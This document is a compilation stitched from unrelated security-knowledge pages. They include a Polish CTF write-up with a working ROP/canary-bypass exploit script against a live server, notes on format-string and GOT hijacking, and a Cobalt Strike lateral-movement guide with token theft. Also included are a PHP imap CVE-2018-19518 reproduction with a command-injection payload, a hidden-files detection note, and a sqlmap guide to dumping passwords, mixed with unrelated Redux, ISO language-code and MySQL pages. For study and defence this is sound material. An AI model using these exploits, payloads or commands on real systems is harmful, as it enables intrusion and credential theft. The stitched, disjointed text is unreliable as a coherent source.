Każdy fork wczytuje 256 bajtów od usera i wywołuje jakąś funkcję z globalnej tablicy funkcji:
```
bytes_read = recv(sockfd, recv_buf, (unsigned int)BUF_SIZE, 0);
if (bytes_read > 0)
func_array[recv_buf[0]](recv_buf, (unsigned int)bytes_read);
```
Każda z funkcji jest podobna, i wygląda mniej więcej tak:
```
unsigned char func_32(unsigned char *buf, unsigned int count)
{
unsigned int i;
unsigned char localbuf[0x84]; // stała 0x84 jest różna dla każdej funkcji w tablicy
unsigned char byte=0x84; // stała 0x84 jest różna dla każdej funkcji w tablicy
memset(localbuf, byte, sizeof(localbuf));
printf("in function func_32, count is %u, bufsize is 0x84\n", count);
if (0 == --count)
return 0;
for (i = 0; i < count; ++i)
localbuf[i] ^= buf[i];
func_array[localbuf[0]](localbuf+1, count);
return 0;
}
```
Od razu widać że łatwo wywołać przepełnienie bufora, ale niestety - stos jest chroniony kanarkami więc nie będzie tak łatwo.
W kodzie widać też nieużywaną nigdzie funkcję socksend która wysyła podany w argumencie bufor do podanego w argumencie socketa.
Po chwili zastanowienia dochodzimy do wniosku że możemy pominąć kanarka po prostu xorując go z zerami. Następnie jedyne co musimy zrobić, to nadpisać adres powrotu w odpowiedni sposób, tak żeby wywołać funkcję socksend z parametrami socksend(fd, password, BUF_SIZE) (w ten sposób program sam wyśle do nas flagę).
Niestety nie jest tak prosto, na stosie nie ma wystarczająco wiele miejsca żeby zmieścic argumenty dla funkcji socksend (po nadpisaniu zmiennej 'counter' kończy się wykonanie funkcji). Ale jeśli postaramy się, możemy przeskoczyć do ramki funkcji niżej. Używamy do tego następującego gadgetu:
```
gadget_pop:
add esp, 0Ch ; pominięcie 3 elementów na stosie
pop ebx ; zdjęcie elementu ze stosu (i zapisanie do ebx)
pop esi ; zdjęcie elementu ze stosu (i zapisanie do esi)
pop edi ; zdjęcie elementu ze stosu (i zapisanie do edi)
pop ebp ; zdjęcie elementu ze stosu (i zapisanie do ebp)
retn ; zdjęcie elementu ze stosu i skoczenie od niego
```
Który zdejmuje 7 elementów ze stosu, i skacze pod 8.
Więc ostateczny plan jest taki: skaczemy pod ten gadget, on zdejmuje odpowiednią ilość parametrów ze stosu, wtedy wykonanie trafia na początek naszego czystego, niexorowanego bufora w pamięci i możmy zrobić co tylko chcemy.
Docelowo stos będzie wyglądał tak:

Skrypt którego użyliśmy :o wygenerowania shellcodu i wysłania go do programu:
```
# -*- coding: utf-8 -*-
import struct, socket
HOST = '54.152.37.20'
PORT = 24242
s = socket.socket()
s.connect((HOST, PORT))
# oryginalny adres powrotu na stosie
first_return_addr = 0x08056AFA
# placeholder na zmienne których zawartość jest nieważna
placeholder = 'xxxx'
gadget_pop_xor = struct.pack('<I', 0x080578f5 ^ first_return_addr)
password_addr = struct.pack('<I', 0x0805F0C0)
socksend_addr = struct.pack('<I', 0x0804884B)
exit_addr = struct.pack('<I', 0x08048670)
def get_payload(counter):
# xorujemy z 1, bo chcemy żeby counter przyjął 1
counter_xor = struct.pack('<I', counter ^ 1)
# składamy payload
return (
# adres funkcji socksend (znany)
socksend_addr
# adres powrotu z funkcji socksend do exit
+ exit_addr
# deskryptor dla socksend (przewidywana wartość)
+ struct.pack('<I', 4)
# adres zmiennej globalnej password dla socksend
+ password_addr
# ilość bajtów do przeczytania dla socksend
+ struct.pack('<I', 256)
# wolne miejsce na stosie (niezajęta część bufora)
+ placeholder * 39
# xorowane z kanarkiem
+ '\0\0\0\0'
# puste miejsce na stosie
+ placeholder * 3
# podmieniamy adres powrotu na gadget_pop
+ gadget_pop_xor
# xorowane z niepotrzebnym już argumentem z adresem bufora
+ placeholder
# zerowanie countera
+ counter_xor
)
# zmierzenie długości payloadu
payload_length = len(get_payload(123))
# i stworzenie ostatecznego payloadu
payload = get_payload(payload_length - 1)
s.send(payload)
print s.recv(99999)
```
I udaje się - skrypt który napisaliśmy zadziałał. Zdobyliśmy w ten sposób upragnioną flagę:
cc21fe41b44ba70d0e6978c840698601
|
sec-knowleage
|
### 64位程序格式化字符串漏洞原理
其实 64 位的偏移计算和 32 位类似,都是算对应的参数。只不过 64 位函数的前 6 个参数是存储在相应的寄存器中的。那么在格式化字符串漏洞中呢?虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。
### hijack GOT原理
在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。
假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤
- 确定函数 A 的 GOT 表地址。
- 这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。
- 确定函数 B 的内存地址
- 这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。
- 将函数B的内存地址写入到函数 A 的 GOT 表地址处。
- 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种
- 写入函数:write 函数。
- ROP
```text
pop eax; ret; # printf@got -> eax
pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx
add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset
```
- 格式化字符串任意地址写
### 堆上的格式化字符串漏洞原理
所谓堆上的格式化字符串指的是格式化字符串本身存储在堆上,这个主要增加了我们获取对应偏移的难度,而一般来说,该格式化字符串都是很有可能被复制到栈上的。
### 格式化字符串盲打原理
所谓格式化字符串盲打指的是只给出可交互的 ip 地址与端口,不给出对应的 binary 文件来让我们进行 pwn,其实这个和 BROP 差不多,不过 BROP 利用的是栈溢出,而这里我们利用的是格式化字符串漏洞。一般来说,我们按照如下步骤进行
- 确定程序的位数
- 确定漏洞位置
- 利用
|
sec-knowleage
|
# 0x00 简介
横向渗透中Cobalt Strike给我们提供了 `psexec` `win` `winrm` 但是只是部分功能
顺便介绍下这几个工具。
### psexec
>1、通过ipc$连接,然后释放psexesvc.exe到目标机器。
2、通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
3、客户端连接执行命令,服务端启动相应的程序并执行回显数据。
Cobalt Strike 中提供2种psexec 用法
```
beacon> help psexec
Use: psexec [host] [share] [listener]
Spawn a session on a remote host. This command generates an executable, copies
it to the target, creates a service to run it, and cleans up after itself. You
must specify which share (e.g., ADMIN$ or C$) to copy the file to.
```
```
beacon> help psexec_psh
Use: psexec_psh [host] [listener]
Spawn a session on a remote host. This command creates a service on the target
to start a PowerShell one-liner to bootstrap the desired listener.
```
一种是用psexec生成会话 一种是利用psexec和powershell生成 psh都与powershell有关。
### WMI
>WMI的全称是 Windows Management Instrumentation,它出现在所有的 Windows 操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统,攻击者使用wmi来进行攻击,但Windows系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性,越来越多的apt事件中使用WMI进行攻击,利用WMI可以进行信息收集、探测,反病毒和虚拟机检测,命令执行,权限持久化等操作。
```
beacon> help wmi
Use: wmi [host] [listener]
Spawn a session on a remote host. This command uses WMI to run a PowerShell
one-liner to bootstrap the desired listener.
```
不过它这个工具是阉割了的只有help 提示的用法
# 0x01 psexec 横向渗透
>横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(Advanced Persistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。
1. portscan

这里我用portscan 简单的探测一下不推荐一来就这样搞,我只是中和一下前面的工具使用。
2. view > targets
发现同一C段主机 192.168.130.131 和具体端口信息 你可以右键此目标Scan进行更为详细的端口扫描

然后右键可以进行`psexec` `win` 这里我演示GUI操作 也可以使用命令来操作 (都一样回来还是用的命令行)


成功返回目标system beacon
其他我就不演示了 大同小异。
# 0x02 steal_token
这里我搭建了一个简单的域环境演示一下功能
```
beacon> help steal_token
Use: steal_token [pid]
Steal an access token from a process.
```
这个功能是在进程中窃取令牌

这里我们用 psexec来拿域控 提示失败 因为我们的用户没有权限 然后打开进程列表

我们看到它的进程中有几个是域管理账号登陆的,然后我们可以用steal_token来设置一个token

成功拿下域控,当然实际环境没有这么简单,这里只是阐述下功能的使用

可以看到使用 `steal_token` 前后我们的权限变化 然后用 `rev2self` 清除`steal_token` 。
当然你也可以使用这个功能然后完成 ipc$ 。
# 0x03 make_token
```
beacon> help make_token
Use: make_token [DOMAIN\user] [password]
Clone the current access token and set it up to pass the specified username
and password when you interact with network resources. This command does not
validate the credentials you provide and it has no effect on local actions.
```
当然如果你在本机dump出域管理的密码 可以用 `make_token` 来设置制作成令牌 , 这个令牌不影响本地只能用于网络资源交互。
# 0x04 文末
本文只讲Cobalt Strike相关的工具来横向
### 本文如有错误,请及时提醒,以免误导他人
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/imagemagick:7.0.8-20-php
command: php -t /var/www/html -S 0.0.0.0:8080
volumes:
- ./index.php:/var/www/html/index.php
ports:
- "8080:8080"
|
sec-knowleage
|
# PHP imap 远程命令执行漏洞(CVE-2018-19518)
php imap扩展用于在PHP中执行邮件收发操作。其`imap_open`函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置`-oProxyCommand=`来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
参考链接:
- https://bugs.php.net/bug.php?id=77153
- https://github.com/Bo0oM/PHP_imap_open_exploit
- https://antichat.com/threads/463395/#post-4254681
- https://nvd.nist.gov/vuln/detail/CVE-2018-19518
## 漏洞环境
执行如下命令启动一个包含漏洞的PHP环境:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可查看web页面。Web功能是测试一个邮件服务器是否能够成功连接,需要填写服务器地址、用户名和密码。
目标源码在[index.php](www/index.php)
## 漏洞复现
发送如下数据包即可成功执行命令`echo '1234567890'>/tmp/test0001`:
```
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
```
执行`docker compose exec web bash`进入容器,可见`/tmp/test0001`已成功创建:

|
sec-knowleage
|
# T1564-001-linux-隐藏文件和目录
## 来自ATT&CK的描述
为了防止普通用户误操作更改系统上的特殊文件,大多数操作系统都具有“隐藏”文件的概念。当用户使用GUI浏览文件系统或在命令行上使用普通命令时,这些文件不会显示。用户必须明确要求通过一系列图形用户界面(GUI)提示或命令行查看隐藏文件。例如(windows下的dir /a,linux或MAC下的ls -a命令等)
攻击者可以利用这一点来隐藏系统中任何位置的文件和文件夹,以便持久化并逃避不进行隐藏文件分析的用户或分析师。
linux/mac
用户可以将特定文件标记为隐藏,只需将“.”作为文件或文件夹名称中的第一个字符。默认情况下,以点“.”开头的文件和文件夹无法在Finder应用程序和标准命令行实用程序(如“ls”)中查看。用户必须专门更改设置才能查看这些文件。对于命令行用法,通常会有一个标志来查看所有文件(包括隐藏文件)。要在Finder应用程序中查看这些文件,必须执行以下命令:defaults write com.apple.finder AppleShowAllFiles YES,然后重新启动Finder应用程序。
## 测试案例
```bash
mkdir .xx -a #创建一个隐藏文件夹
mv file to a .file #移动文件到目录a下并修改为隐藏文件
```
## 检测日志
bash历史记录
值得注意的是:你可以从一些特定目录路径中查找到隐藏文件/目录,并将其转储到某个位置。提取出可以文件夹并查找恶意隐藏文件。
## 测试复现
```bash
icbc@icbc:/xx$ sudo mkdir .xx-a
icbc@icbc:/xx$ sudo mv 1.sh /xx/.sh
```
## 测试留痕
```bash
icbc@icbc:/$ history
1 sudo mkdir .xx-a
2 sudo mv 1.sh /xx/.sh
```
## 检测规则/思路
### splunk规则
index=linux sourcetype=bash_history bash_command="mkdir .*" | table host,user_name,bash_command
index=linux sourcetype=bash_history bash_command="mv *.*" | table host,user_name,bash_command
### 建议
值得注意的是:你也可以通过命令直接在问题主机上进行查找,当然,你可以使用白名单来过滤掉linux系统中的标准隐藏文件/目录。这样可以减轻误报。
find_hidden_files.sh
```dos
find /home/ -name ".*"
find /home/ -type d -name ".*"
find /home/ -type f -name ".*"
```
## 相关TIP
[[T1564-001-win-发现攻击者在回收站中隐藏恶意软件]]
[[T1564-001-win-隐藏的文件和目录]]
[[T1564-003-win-隐藏窗口]]
## 参考推荐
MITRE-ATT&CK-T1564-001
<https://attack.mitre.org/techniques/T1564/001/>
|
sec-knowleage
|
# Reverse
---
**教程实验**
- [如何开始学习逆向以及分析恶意软件?](https://www.freebuf.com/articles/rookie/178382.html)
**相关资源**
- [MicrosoftDocs/sdk-api](https://github.com/MicrosoftDocs/sdk-api) - windows sdk-api 的官方文档
**CTF writup**
- [re学习笔记(1) BUUCTF-re xor](https://blog.csdn.net/palmer9/article/details/102784520)
- [「不一样的 flag」 题解](https://blog.y7n05h.xyz/%E4%B8%8D%E4%B8%80%E6%A0%B7%E7%9A%84flag/)
- [BUU—SimpleRev](http://91wxk.cn/index.php/archives/382/)
- [BUUCTF-刮开有奖](https://zhuanlan.zhihu.com/p/100934324)
- [BUU-刮开有奖](https://wdraemv.github.io/2021/06/10/BUU-%E5%88%AE%E5%BC%80%E6%9C%89%E5%A5%96/)
---
## 文件格式
- [文件头](./FILE/文件头.md)
- [BMP](./FILE/BMP.md)
- [ELF](./FILE/ELF.md)
- [JPG](./FILE/JPG.md)
- [PE](./FILE/PE.md)
- [PNG](./FILE/PNG.md)
- [RAR](./FILE/RAR.md)
- [ZIP](./FILE/ZIP.md)
---
## 文件系统
---
## 软件逆向
**相关资源**
- [mentebinaria/retoolkit](https://github.com/mentebinaria/retoolkit) - 离线逆向工具安装包合集
**相关工具**
- 反编译工具
- [Hex-Rays IDA pro](../安全工具/IDA.md)
- [Ghidra](../安全工具/Ghidra.md)
- 查壳
- ExeinfoPe
- 十六进制编辑器
- https://hexed.it/ - 在线的 Hex Editor
- 010editor
- [WerWolv/ImHex](https://github.com/WerWolv/ImHex)
- WinHex
- HxD
- UltraEdit
---
## 各类语言
### python
- [Python安全](../RedTeam/语言安全/Python安全.md)
### WebAssembly
**相关工具**
- [WebAssembly/wabt](https://github.com/WebAssembly/wabt) - 将 wasm 文件转换成 c 文件
```
wasm2c.exe test.wasm -o test.c
```
**CTF writup**
- [2021陇原战"疫" 部分赛题复现](https://mp.weixin.qq.com/s/KIkE50ELd2PBcbqZ_vUyQg)
- [wasm逆向](http://unbelievable.cool/2021/07/15/wasm%E9%80%86%E5%90%91/)
### Go
- [GO安全](../RedTeam/语言安全/GO安全.md)
|
sec-knowleage
|
# Hello Redux
### 环境配置
这里我们使用`create-react-app`快速创建一个 React 应用环境
```
create-react-app react-redux-demo
```
**装包**
安装我们需要的`redux`包和`react-redux`包
```
npm i redux react-redux -S
```
### 调整结构
1. 修改`src`内容,在App组建内显示`Hello Word`
2. 在项目文件夹下的`src`中,创建两个组件`CommentBox`和`PostBody`。
3. 挂载在`App`组件上。
|
sec-knowleage
|
---
title: ISO 639-1 Language Code
date: 2022-01-11 17:21:54
tags:
- code
- i18n
- language
categories:
- Other
intro: |
This is a list of the ISO language codes that conform to the ISO 639-1 standard, it provide reference for multi-language website.
---
Getting Started {.cols-2}
---------------
### Introduction
- The [ISO 639-1](https://en.wikipedia.org/wiki/ISO_639-1) is a standardized nomenclature used to classify languages
- The ISO 639-1 codes cover the world's major languages
- These codes are a useful international and formal shorthand for indicating languages
- Two-letter codes
- Used to multilingual websites, aka Internationalization (`i18n`)
- [i18n](https://en.wikipedia.org/wiki/Internationalization_and_localization) language codes
{.marker-round}
### Multi-format of 639-1 codes
- [Markdown Table](https://tableconvert.com/html-to-markdown?data=https://quickref.me/iso-639-1#TableGenerator)
- [Template](https://tableconvert.com/html-to-template?data=https://quickref.me/iso-639-1#TableGenerator)
- [LaTeX Table](https://tableconvert.com/html-to-latex?data=https://quickref.me/iso-639-1#TableGenerator)
- [CSV](https://tableconvert.com/html-to-csv?data=https://quickref.me/iso-639-1#TableGenerator)
- [Excel](https://tableconvert.com/html-to-excel?data=https://quickref.me/iso-639-1#TableGenerator)
- [JSON Array](https://tableconvert.com/html-to-json?data=https://quickref.me/iso-639-1#TableGenerator)
- [HTML Table](https://tableconvert.com/html-to-html?data=https://quickref.me/iso-639-1#TableGenerator)
- [Insert SQL](https://tableconvert.com/html-to-sql?data=https://quickref.me/iso-639-1#TableGenerator)
- [YAML Sequence](https://tableconvert.com/html-to-yaml?data=https://quickref.me/iso-639-1#TableGenerator)
- [XML](https://tableconvert.com/html-to-xml?data=https://quickref.me/iso-639-1#TableGenerator)
- [ASCII](https://tableconvert.com/html-to-ascii?data=https://quickref.me/iso-639-1#TableGenerator)
- [MediaWiki Table](https://tableconvert.com/html-to-mediawiki?data=https://quickref.me/iso-639-1#TableGenerator)
- [AsciiDoc Table](https://tableconvert.com/html-to-asciidoc?data=https://quickref.me/iso-639-1#TableGenerator)
- [Jira Table](https://tableconvert.com/html-to-jira?data=https://quickref.me/iso-639-1#TableGenerator)
- [Textile Table](https://tableconvert.com/html-to-textile?data=https://quickref.me/iso-639-1#TableGenerator)
- [reStructuredText](https://tableconvert.com/html-to-restructuredtext?data=https://quickref.me/iso-639-1#TableGenerator)
- [PHP Array](https://tableconvert.com/html-to-php?data=https://quickref.me/iso-639-1#TableGenerator)
- [Ruby Array](https://tableconvert.com/html-to-ruby?data=https://quickref.me/iso-639-1#TableGenerator)
- [ASP Array](https://tableconvert.com/html-to-asp?data=https://quickref.me/iso-639-1#TableGenerator)
- [ActionScript](https://tableconvert.com/html-to-actionscript?data=https://quickref.me/iso-639-1#TableGenerator)
- [BBCode](https://tableconvert.com/html-to-bbcode?data=https://quickref.me/iso-639-1#TableGenerator)
- [PDF](https://tableconvert.com/html-to-pdf?data=https://quickref.me/iso-639-1#TableGenerator)
- [JPEG](https://tableconvert.com/html-to-jpeg?data=https://quickref.me/iso-639-1#TableGenerator)
{.cols-4 .marker-none}
List of ISO 639-1 codes {.cols-1}
-----------
### Full codes
| 639-1 code | ISO language name | Native name (endonym) |
|------------|---------------------|-----------------------|
| `aa` | Afar | Afaraf |
| `ab` | Abkhaz | аҧсуа бызшәа |
| `ae` | Avestan | avesta |
| `af` | Afrikaans | Afrikaans |
| `ak` | Akan | Akan |
| `am` | Amharic | አማርኛ |
| `an` | Aragonese | aragonés |
| `ar` | Arabic | اللغة العربية |
| `as` | Assamese | অসমীয়া |
| `av` | Avaric | авар мацӀ |
| `ay` | Aymara | aymar aru |
| `az` | Azerbaijani | azərbaycan dili |
| `ba` | Bashkir | башҡорт теле |
| `be` | Belarusian | беларуская мова |
| `bg` | Bulgarian | български език |
| `bh` | Bihari | भोजपुरी |
| `bi` | Bislama | Bislama |
| `bm` | Bambara | bamanankan |
| `bn` | Bengali | বাংলা |
| `bo` | Tibetan | བོད་ཡིག |
| `br` | Breton | brezhoneg |
| `bs` | Bosnian | bosanski jezik |
| `ca` | Catalan | Català |
| `ce` | Chechen | нохчийн мотт |
| `ch` | Chamorro | Chamoru |
| `co` | Corsican | corsu |
| `cr` | Cree | ᓀᐦᐃᔭᐍᐏᐣ |
| `cs` | Czech | čeština |
| `cu` | Old Church Slavonic | ѩзыкъ словѣньскъ |
| `cv` | Chuvash | чӑваш чӗлхи |
| `cy` | Welsh | Cymraeg |
| `da` | Danish | dansk |
| `de` | German | Deutsch |
| `dv` | Divehi | Dhivehi |
| `dz` | Dzongkha | རྫོང་ཁ |
| `ee` | Ewe | Eʋegbe |
| `el` | Greek | Ελληνικά |
| `en` | English | English |
| `eo` | Esperanto | Esperanto |
| `es` | Spanish | Español |
| `et` | Estonian | eesti |
| `eu` | Basque | euskara |
| `fa` | Persian | فارسی |
| `ff` | Fula | Fulfulde |
| `fi` | Finnish | suomi |
| `fj` | Fijian | Vakaviti |
| `fo` | Faroese | føroyskt |
| `fr` | French | Français |
| `fy` | Western Frisian | Frysk |
| `ga` | Irish | Gaeilge |
| `gd` | Scottish Gaelic | Gàidhlig |
| `gl` | Galician | galego |
| `gu` | Gujarati | ગુજરાતી |
| `gv` | Manx | Gaelg |
| `ha` | Hausa | هَوُسَ |
| `he` | Hebrew | עברית |
| `hi` | Hindi | हिन्दी |
| `ho` | Hiri Motu | Hiri Motu |
| `hr` | Croatian | Hrvatski |
| `ht` | Haitian | Kreyòl ayisyen |
| `hu` | Hungarian | magyar |
| `hy` | Armenian | Հայերեն |
| `hz` | Herero | Otjiherero |
| `ia` | Interlingua | Interlingua |
| `id` | Indonesian | Bahasa Indonesia |
| `ie` | Interlingue | Interlingue |
| `ig` | Igbo | Asụsụ Igbo |
| `ii` | Nuosu | ꆈꌠ꒿ Nuosuhxop |
| `ik` | Inupiaq | Iñupiaq |
| `io` | Ido | Ido |
| `is` | Icelandic | Íslenska |
| `it` | Italian | Italiano |
| `iu` | Inuktitut | ᐃᓄᒃᑎᑐᑦ |
| `ja` | Japanese | 日本語 |
| `jv` | Javanese | basa Jawa |
| `ka` | Georgian | ქართული |
| `kg` | Kongo | Kikongo |
| `ki` | Kikuyu | Gĩkũyũ |
| `kj` | Kwanyama | Kuanyama |
| `kk` | Kazakh | қазақ тілі |
| `kl` | Kalaallisut | kalaallisut |
| `km` | Khmer | ខេមរភាសា |
| `kn` | Kannada | ಕನ್ನಡ |
| `ko` | Korean | 한국어 |
| `kr` | Kanuri | Kanuri |
| `ks` | Kashmiri | कश्मीरी |
| `ku` | Kurdish | Kurdî |
| `kv` | Komi | коми кыв |
| `kw` | Cornish | Kernewek |
| `ky` | Kyrgyz | Кыргызча |
| `la` | Latin | latine |
| `lb` | Luxembourgish | Lëtzebuergesch |
| `lg` | Ganda | Luganda |
| `li` | Limburgish | Limburgs |
| `ln` | Lingala | Lingála |
| `lo` | Lao | ພາສາ |
| `lt` | Lithuanian | lietuvių kalba |
| `lu` | Luba-Katanga | Tshiluba |
| `lv` | Latvian | latviešu valoda |
| `mg` | Malagasy | fiteny malagasy |
| `mh` | Marshallese | Kajin M̧ajeļ |
| `mi` | Māori | te reo Māori |
| `mk` | Macedonian | македонски јазик |
| `ml` | Malayalam | മലയാളം |
| `mn` | Mongolian | Монгол хэл |
| `mr` | Marathi | मराठी |
| `ms` | Malay | Bahasa Malaysia |
| `mt` | Maltese | Malti |
| `my` | Burmese | ဗမာစာ |
| `na` | Nauru | Ekakairũ Naoero |
| `nb` | Norwegian Bokmål | Norsk bokmål |
| `nd` | Northern Ndebele | isiNdebele |
| `ne` | Nepali | नेपाली |
| `ng` | Ndonga | Owambo |
| `nl` | Dutch | Nederlands |
| `nn` | Norwegian Nynorsk | Norsk nynorsk |
| `no` | Norwegian | Norsk |
| `nr` | Southern Ndebele | isiNdebele |
| `nv` | Navajo | Diné bizaad |
| `ny` | Chichewa | chiCheŵa |
| `oc` | Occitan | occitan |
| `oj` | Ojibwe | ᐊᓂᔑᓈᐯᒧᐎᓐ |
| `om` | Oromo | Afaan Oromoo |
| `or` | Oriya | ଓଡ଼ିଆ |
| `os` | Ossetian | ирон æвзаг |
| `pa` | Panjabi | ਪੰਜਾਬੀ |
| `pi` | Pāli | पाऴि |
| `pl` | Polish | Polski |
| `ps` | Pashto | پښتو |
| `pt` | Portuguese | Português |
| `qu` | Quechua | Runa Simi |
| `rm` | Romansh | rumantsch grischun |
| `rn` | Kirundi | Ikirundi |
| `ro` | Romanian | Română |
| `ru` | Russian | Русский |
| `rw` | Kinyarwanda | Ikinyarwanda |
| `sa` | Sanskrit | संस्कृतम् |
| `sc` | Sardinian | sardu |
| `sd` | Sindhi | सिन्धी |
| `se` | Northern Sami | Davvisámegiella |
| `sg` | Sango | yângâ tî sängö |
| `si` | Sinhala | සිංහල |
| `sk` | Slovak | slovenčina |
| `sl` | Slovenian | slovenščina |
| `sn` | Shona | chiShona |
| `so` | Somali | Soomaaliga |
| `sq` | Albanian | Shqip |
| `sr` | Serbian | српски језик |
| `ss` | Swati | SiSwati |
| `st` | Southern Sotho | Sesotho |
| `su` | Sundanese | Basa Sunda |
| `sv` | Swedish | Svenska |
| `sw` | Swahili | Kiswahili |
| `ta` | Tamil | தமிழ் |
| `te` | Telugu | తెలుగు |
| `tg` | Tajik | тоҷикӣ |
| `th` | Thai | ไทย |
| `ti` | Tigrinya | ትግርኛ |
| `tk` | Turkmen | Türkmen |
| `tl` | Tagalog | Wikang Tagalog |
| `tn` | Tswana | Setswana |
| `to` | Tonga | faka Tonga |
| `tr` | Turkish | Türkçe |
| `ts` | Tsonga | Xitsonga |
| `tt` | Tatar | татар теле |
| `tw` | Twi | Twi |
| `ty` | Tahitian | Reo Tahiti |
| `ug` | Uyghur | ئۇيغۇرچە |
| `uk` | Ukrainian | Українська |
| `ur` | Urdu | اردو |
| `uz` | Uzbek | Ўзбек |
| `ve` | Venda | Tshivenḓa |
| `vi` | Vietnamese | Tiếng Việt |
| `vo` | Volapük | Volapük |
| `wa` | Walloon | walon |
| `wo` | Wolof | Wollof |
| `xh` | Xhosa | isiXhosa |
| `yi` | Yiddish | ייִדיש |
| `yo` | Yoruba | Yorùbá |
| `za` | Zhuang | Saɯ cueŋƅ |
| `zh` | Chinese | 中文 |
| `zu` | Zulu | isiZulu |
{.show-header}
|
sec-knowleage
|
# MySQL大小写问题
**MySQL 查询是不区分大小写的**
Mysql 默认的字符检索策略:
- utf8_general_ci,表示不区分大小写;
- utf8_general_cs表示区分大小写
- utf8_bin 表示二进制比较,同样也区分大小写 。(注意:在 Mysql5.6.10 版本中,不支持 utf8_genral_cs!!!!)
创建表时,直接设置表的 collate 属性为 utf8_general_cs 或者 utf8_bin;如果已经创建表,则直接修改字段的Collation 属性为 utf8_general_cs 或者 utf8_bin。
---
**测试**
新建一个表 test1 ,字段 text,大 A 小 a 2个数据,默认字符集
测试查询语句
可以看到大 A 小 a 都被查询出来了
---
再新建一个表 test2 ,字段 text,大 A 小 a 2个数据,字符集 utf8_bin
测试查询语句
可见,区分了大小写
---
**修改语句**
```
ALTER TABLE xxxxxxxxx DEFAULT CHARACTER SET utf8 COLLATE utf8_bin;
```
---
## Source & Reference
- [Mysql查询英文如何严格区分大小写?](http://www.imooc.com/article/14190)
|
sec-knowleage
|
# Introduction
我们从隔离、访问控制、异常检测、随机化这四种方式来介绍内核中的防御机制。
## 参考
- https://linuxplumbersconf.org/event/7/contributions/775/attachments/610/1096/Following_the_Linux_Kernel_Defence_Map.pdf
- https://github.com/a13xp0p0v/linux-kernel-defence-map
- https://outflux.net/slides/2018/lca/kspp.pdf
- https://www.kernel.org/doc/html/latest/security/self-protection.html
- https://powerofcommunity.net/poc2019/x82.pdf
- https://samsung.github.io/kspp-study/infoleak.html
|
sec-knowleage
|
# Sqlmap
<p align="center">
<img src="../../../assets/img/logo/Sqlmap.png" width="25%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**项目地址**
- https://github.com/sqlmapproject/sqlmap
**文章 & Reference**
- [Sqlmap使用教程[个人笔记精华整理] | 漏洞人生](http://www.vuln.cn/1992)
- [sqlmap用户手册[续]](http://drops.xmd5.com/static/drops/tips-401.html)
---
## 基础使用
**检测注入**
```bash
sqlmap -u URL -v 3 --random-agent # 判断注入
sqlmap -u URL -p id # 指定参数注入
sqlmap -u URL --cookie="xxxxx" # 带 cookie 注入
sqlmap -u URL --batch # 不要请求用户输入,使用默认行为
sqlmap -r aaa.txt # post 型注入
sqlmap -u URL --flush-session # 清除缓存
sqlmap -u URL --os "Windows" # 指定操作系统
sqlmap -u URL --dbms mysql --level 3 # 指定数据库类型为 mysql,级别为 3(共 5 级,级别越高,检测越全面)
sqlmap -u URL --dbms Microsoft SQL Server
sqlmap -u URL --dbms mysql --risk 3 # 指定执行测试的风险(1-3, 默认 1) 1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加 OR 语句的 SQL 注入测试
sqlmap -u URL --proxy "socks5://127.0.0.1:1080" # 代理注入测试
sqlmap -u URL --batch --smart # 启发式判断注入
```
**获取信息**
```bash
sqlmap -u URL --current-db # 获取当前数据库
sqlmap -u URL --dbs # 枚举所有数据库
sqlmap -u URL -f # 检查 DBMS 版本
sqlmap -u URL --is-dba # 判断当前用户是否是 dba
sqlmap -u URL --users # 列出数据库管理系统用户
sqlmap -u URL --privileges # 枚举 DBMS 用户权限
sqlmap -u URL --passwords # 获取当前数据库密码
sqlmap -u URL -D DATABASE --tables # 获取数据库表
sqlmap -u URL -D DATABASE -T TABLES --columns # 获取指定表的列名
sqlmap -u URL -D DATABASE -T TABLES -C COLUMNS --dump # 获取指定表的列名
sqlmap -u URL -dbms mysql -level 3 -D test -T admin -C "username,password" -dump # dump 出字段 username 与 password 中的数据
sqlmap -u URL --dump-all # 列出所有数据库,所有表内容
```
**搜索字段**
```bash
sqlmap -r "c:\tools\request.txt" -dbms mysql -D dedecms --search -C admin,password # 在 dedecms 数据库中搜索字段 admin 或者 password.
```
**读取与写入文件**
首先找需要网站的物理路径,其次需要有可写或可读权限.
